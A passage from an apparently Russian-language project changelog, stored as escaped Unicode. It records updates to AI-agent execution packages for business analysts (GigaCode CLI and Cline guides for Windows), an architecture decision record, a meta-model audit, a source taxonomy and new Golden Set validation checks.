\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439](projects/ba-ai-process/dist/execution-package-gigacode-cli/docs/guides/README.md) \u043f\u043e \u043e\u0431\u0440\u0430\u0437\u0446\u0443 Cline-\u043f\u0430\u043a\u0435\u0442\u0430 (issue [#638](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/638)): \u043e\u0431\u0437\u043e\u0440 \u0438 \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 GigaCode CLI, \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0435\u043c Python \u0432\u043d\u0435 \u043f\u0430\u043f\u043a\u0438 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u0431\u0430\u0437\u043e\u0439 \u0437\u043d\u0430\u043d\u0438\u0439 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043e\u0442 `docs/kb/`, \u0443\u0447\u0435\u0431\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d `TASK-0001` \u0441 \u0433\u043e\u0442\u043e\u0432\u044b\u043c \u0432\u0445\u043e\u0434\u043e\u043c A-IN, \u0441\u043f\u0440\u0430\u0432\u043e\u0447\u043d\u0438\u043a \u043a\u043e\u043c\u0430\u043d\u0434 \u0441 \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0435\u043c Working \u0438 \u0440\u0435\u0436\u0438\u043c\u043e\u043c \u043e\u0442\u043b\u0430\u0434\u043a\u0438, \u0440\u0430\u0431\u043e\u0442\u0430 \u0441 \u0430\u0433\u0435\u043d\u0442\u043e\u043c \u043f\u043e \u0432\u0441\u0435\u043c \u0443\u0437\u043b\u0430\u043c `RG-BCREQ-v1` \u0441\u043e \u0441\u0442\u0430\u0440\u0442\u043e\u0432\u043e\u0439 \u0444\u0440\u0430\u0437\u043e\u0439, \u0442\u0430\u0431\u043b\u0438\u0446\u0435\u0439 \u0443\u0437\u043b\u043e\u0432 \u0438 \u043e\u0442\u043a\u0430\u0437\u0430\u043c\u0438 runner. \u0426\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u2014 \u0442\u043e\u043b\u044c\u043a\u043e Windows 10/11 (x64): \u0432\u0441\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, `README.md`, `AGENTS.md` \u0438 \u043d\u0430\u0432\u044b\u043a\u043e\u0432 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432 PowerShell, \u0447\u0442\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 BOM, \u043a\u043b\u043e\u043d \u0441 `core.autocrlf` \u0438 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `.git` \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043b\u043e\u043c\u0430\u044e\u0442 `G-mach`. \u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u044b\u0432\u044b \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043a\u0430\u043a \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u041e-2\u2026\u041e-10 \u0438 \u0437\u0430\u0434\u0430\u0447\u0438 B-219\u2026B-221; \u043d\u043e\u0432\u044b\u0439 `test_guides.py` \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0431\u043b\u043e\u043a\u0438 \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f, \u0443\u0447\u0435\u0431\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430, \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0432 Windows PowerShell 5.1 \u0438 PowerShell 7 (CI-\u0437\u0430\u0434\u0430\u0447\u0430 `windows-guides`), \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441 \u0432\u0441\u0435\u0445 \u0431\u043b\u043e\u043a\u043e\u0432, \u0441\u0441\u044b\u043b\u043a\u0438 \u0438 \u0442\u0435\u043a\u0441\u0442\u044b \u043e\u0442\u043a\u0430\u0437\u043e\u0432.\\n- projects: [\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f Cline-\u043f\u0430\u043a\u0435\u0442\u0430](projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/README.md) \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u0430\u043d\u0430 \u043f\u043e\u0434 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 BCREQ (issue [#636](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/636)): \u0441\u0442\u0430\u0440\u0442 \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435 \u043d\u0430 Jira \u0438\u043b\u0438 \u0442\u0435\u043a\u0441\u0442\u0443 \u0447\u0435\u0440\u0435\u0437 \u0441\u0442\u0430\u0440\u0442\u043e\u0432\u0443\u044e \u0444\u0440\u0430\u0437\u0443 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 Plan, \u0443\u0447\u0435\u0431\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u0435\u043d, \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u0438 \u0431\u043b\u043e\u043a\u0438 \u00ab\u0413\u0434\u0435 / \u041a\u043e\u043c\u0430\u043d\u0434\u0430 / \u041e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 / \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435\u00bb, \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430, \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u00ab\u043e\u0434\u0438\u043d TASK ID \u2014 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0433\u043e\u043d\u00bb, \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0440\u0435\u0436\u0438\u043c \u043e\u0442\u043b\u0430\u0434\u043a\u0438, \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439 \u0441 \u043f\u0435\u0440\u0435\u043a\u0440\u0451\u0441\u0442\u043d\u044b\u043c\u0438 \u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438, \u043e\u0433\u043b\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044f. \u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u044b\u0432\u044b \u043c\u043e\u0434\u0435\u043b\u0438 (\u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0430\u0433\u0435\u043d\u0442\u0430, \u043d\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f, hooks \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 Windows, \u043d\u0435\u0442 skills \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u043e\u0442\u043b\u0430\u0434\u043a\u0438) \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043a\u0430\u043a \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u041e-1\u2026\u041e-5 \u0438 \u0437\u0430\u0434\u0430\u0447\u0438 B-198\u2026B-202; \u0442\u0435\u0441\u0442\u044b \u043f\u0430\u043a\u0435\u0442\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0442 \u0441\u0441\u044b\u043b\u043a\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f.\\n- projects: \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f Cline-\u043f\u0430\u043a\u0435\u0442\u0430 \u0434\u043b\u044f \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0449\u0435\u0433\u043e \u0411\u0410 \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u0430 \u0432 [\u043a\u043b\u0430\u0441\u0442\u0435\u0440 \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432](projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/README.md) (issue [#628](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/628)): \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0431\u0435\u0437 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0437\u0430\u0434\u0430\u0447, \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 KB \u0438\u0437 `mango-ba-ai-runtime/docs/kb`, \u0442\u0435\u0441\u0442\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u0441 \u0440\u0430\u0437\u0431\u043e\u0440\u043e\u043c trace, \u0441\u043f\u0440\u0430\u0432\u043e\u0447\u043d\u0438\u043a \u043a\u043e\u043c\u0430\u043d\u0434 \u0438 \u043f\u0430\u043f\u043e\u043a, \u043f\u0440\u0438\u043c\u0435\u0440 \u0434\u0438\u0430\u043b\u043e\u0433\u0430 \u0438 \u0440\u0430\u0437\u0431\u043e\u0440 \u0442\u0438\u043f\u0438\u0447\u043d\u044b\u0445 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0439. \u041f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u2014 Windows 10/11 x64; \u043f\u0430\u043a\u0435\u0442 \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d \u0438\u0437 Source.\\n- projects: \u043f\u0440\u0438\u043d\u044f\u0442\u0430 [ADR-017 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 `ba-ai-process`: Source, Distribution \u0438 \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md) \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 \u043f\u0435\u0440\u0432\u0430\u044f \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u044f (issues [#595](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/595), [#599](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/599)). Source \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d \u0432 [`projects/ba-ai-process/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process); project-scoped ADR \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0451\u043d \u0432 `decisions/`, tests \u0438 experiments \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b, \u0430 GigaCode CLI Distribution \u0440\u0430\u0437\u043c\u0435\u0449\u0451\u043d \u0432 `dist/`. Package manifest \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 Source revision, adapter, allowlist \u0438 SHA-256 immutable-\u0432\u044b\u0445\u043e\u0434\u043e\u0432; negative gate \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442 RRP, ADR/RFC, backlog \u0438 \u043f\u0440\u043e\u0447\u0438\u0439 Source rationale. \u0412\u043d\u0435\u0448\u043d\u0435\u0435 \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0438 runtime smoke test \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432 B-179.\\n- projects: [\u0421\u043a\u0432\u043e\u0437\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0441 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0435\u0439](docs/audit/2026-09-15-ba-meta-model-cross-check-audit.md) (issue #587) \u2014 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0439 \u0430\u0443\u0434\u0438\u0442 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f issue #577 \u043f\u043e \u043f\u0443\u043d\u043a\u0442\u0430\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430. \u0412\u0435\u0440\u0434\u0438\u043a\u0442 `conditional`: \u043f\u043e\u0440\u043e\u0433 \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u043a\u0438 (\u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0431\u043e\u043b\u0435\u0435 80% \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0430) \u043d\u0435 \u0434\u043e\u0441\u0442\u0438\u0433\u043d\u0443\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0440\u0435\u0438\u043d\u0436\u0438\u043d\u0438\u0440\u0438\u043d\u0433 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f, \u0444\u043e\u0440\u043c\u044b \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u044b \u0431\u0435\u0437 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0439, \u0430 \u0434\u043e\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0442\u043e\u0447\u0435\u0447\u043d\u0430\u044f. \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430 \u2014 [`exp/ba-meta-model-cross-check-587/`](research/ba-requirements/exp/ba-meta-model-cross-check-587/README.md): \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u043a\u0435\u043b\u0435\u0442\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0430 \u043d\u0430 \u0442\u0440\u0451\u0445 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 (\u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430, `M-1 = 0.0`, \u0441\u0435\u043c\u044c \u0441\u043b\u043e\u0442\u043e\u0432 \u0438\u0437 \u0447\u0435\u0442\u044b\u0440\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u043b\u0438\u0441\u044c \u043d\u0438 \u0440\u0430\u0437\u0443), \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u043a `research/ai-education` \u2014 \u0434\u0432\u0430 \u043c\u043e\u0434\u0443\u043b\u044f \u0438\u0437 \u0434\u0435\u0441\u044f\u0442\u0438, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 `C-IN`/`C-OUT` \u2014 \u043d\u0430 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430\u0445, \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0441\u044b\u0440\u044b\u0445 \u0432\u0445\u043e\u0434\u043e\u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447 1059 \u0438 975. \u0412\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 **\u0431\u0435\u0437** \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0440\u0430\u043d\u0435\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430: \u044d\u0442\u043e \u043f\u0440\u044f\u043c\u043e\u0439 \u0437\u0430\u043f\u0440\u0435\u0442 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438, \u0438 \u0432\u043c\u0435\u0441\u0442\u043e \u0441\u0432\u0435\u0440\u043a\u0438 \u00ab\u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0441\u044f \u043b\u0438 \u0442\u043e\u0442 \u0436\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u00bb \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e, \u0433\u0434\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u0440\u0430\u0441\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0441 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043e \u043b\u0438 \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c.\\n- projects: [\u0422\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0443\u0440\u043e\u0432\u043d\u0435\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432](projects/ba-ai-process/ba-meta-model/20-taxonomy.md) `ST-1-ATTACHED`, `ST-2-CORPUS`, `ST-3-PRODUCT-DOC`, `ST-4-HUMAN` \u0441 \u0444\u043e\u0440\u043c\u0430\u043c\u0438 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 `EF-INLINE`/`EF-QUOTE`, \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u043e\u043c \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f, \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442\u0430 \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u043c\u0438 `SR-1`\u2026`SR-6` \u2014 \u0432\u0442\u043e\u0440\u0430\u044f \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u0430\u044f \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438. \u0417\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u0435\u0444\u0435\u043a\u0442: \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 `GT-5` \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a, \u043d\u043e \u043d\u0435 \u0433\u043e\u0432\u043e\u0440\u0438\u043b, \u0433\u0434\u0435 \u0430\u0433\u0435\u043d\u0442 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438\u0449\u0435\u0442, \u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b\u0441\u044f \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 \u043e \u0444\u0430\u043a\u0442\u0435, \u043b\u0435\u0436\u0430\u0449\u0435\u043c \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \u041f\u0440\u043e\u0433\u043e\u043d [`runs/bcreq-1059-routed/`](research/ba-requirements/exp/ba-meta-model-cross-check-587/README.md) \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442 \u044d\u0444\u0444\u0435\u043a\u0442 \u043d\u0430 \u0442\u043e\u043c \u0436\u0435 \u0432\u0445\u043e\u0434\u0435: \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0432\u043e\u043f\u0440\u043e\u0441 \u0441\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u043e\u0439 \u043a\u043e\u0440\u043f\u0443\u0441\u0430, `S-SCOPE` \u0438 `S-SETTINGS` \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f, \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0435 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f. \u0421\u0435\u043c\u0438\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0438\u0437 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 **\u0441\u0443\u0436\u0435\u043d** \u0434\u043e \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u0443\u0440\u043e\u0432\u043d\u0435\u0439 \u043e\u0441\u043e\u0437\u043d\u0430\u043d\u043d\u043e, \u0442\u0440\u0438 \u0438\u0441\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u044b \u0432 `out_of_slice` \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u2014 \u043d\u0435\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432\u0435\u0442\u043a\u0430 \u043d\u0435\u043e\u0442\u043b\u0438\u0447\u0438\u043c\u0430 \u043e\u0442 \u0437\u0430\u0431\u044b\u0442\u043e\u0439.\\n- projects: \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f `V-CONTRACT` (\u0447\u0442\u0435\u043d\u0438\u0435 \u0441\u0442\u043e\u0440\u043e\u043d\u043e\u0439 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430) \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0430 \u043a `V-BIZ`, `V-APPROVE`, `V-DEV` **\u0431\u0435\u0437 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u044f** \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445, \u043f\u043e\u043b\u0435 `projection` \u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u043d\u043e \u0432 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 `C-OUT`. \u0414\u043e \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0439 \u0431\u044b\u043b \u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0432\u0435\u0442\u043a\u043e\u0439: \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u044b, \u043d\u043e \u043d\u0438 \u043e\u0434\u0438\u043d \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0438\u0445 \u043d\u0435 \u043f\u0440\u0435\u0434\u044a\u044f\u0432\u043b\u044f\u043b. `V-CONTRACT` \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 `S-FR` \u043a\u0430\u043a \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u00ab\u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0412\u041e\u0417\u041c\u041e\u0416\u041d\u041e\u0421\u0422\u042c\u00bb, \u043f\u043e\u043b\u043d\u043e\u0442\u044b \u043f\u043e \u0447\u0435\u0442\u044b\u0440\u0451\u043c \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c (\u0447\u0442\u043e, \u043a\u0442\u043e, \u0433\u0434\u0435, \u043a\u043e\u0433\u0434\u0430) \u0438 \u043f\u0443\u0441\u0442\u043e\u0433\u043e `S-OPEN`.\\n- projects: \u0422\u0440\u0438 \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u044d\u0442\u0430\u043b\u043e\u043d\u0430 Golden Set (\u043e\u0447\u0435\u0440\u0435\u0434\u044c \u043f\u0440\u043e\u0442\u0438\u0432 \u0433\u0440\u0443\u043f\u043f\u044b, `SLA` \u043f\u0440\u043e\u0442\u0438\u0432 `AHT`, `IVR` \u043f\u0440\u043e\u0442\u0438\u0432 \u0430\u0432\u0442\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0440\u0430) \u2014 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u043e `EP-G7` \u0441\u0442\u0430\u043b\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c: \u043d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 `validate-package.py` \u0441\u0432\u0435\u0440\u044f\u0435\u0442 \u043a\u0430\u0436\u0434\u0443\u044e \u043f\u0430\u0440\u0443 `confusable_with` \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u044f \u0441 \u043d\u0430\u043b\u0438\u0447\u0438\u0435\u043c \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u043b\u0443\u0447\u0430\u044f \u0438 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043d\u0430\u0448\u043b\u0430 \u0442\u0440\u0438 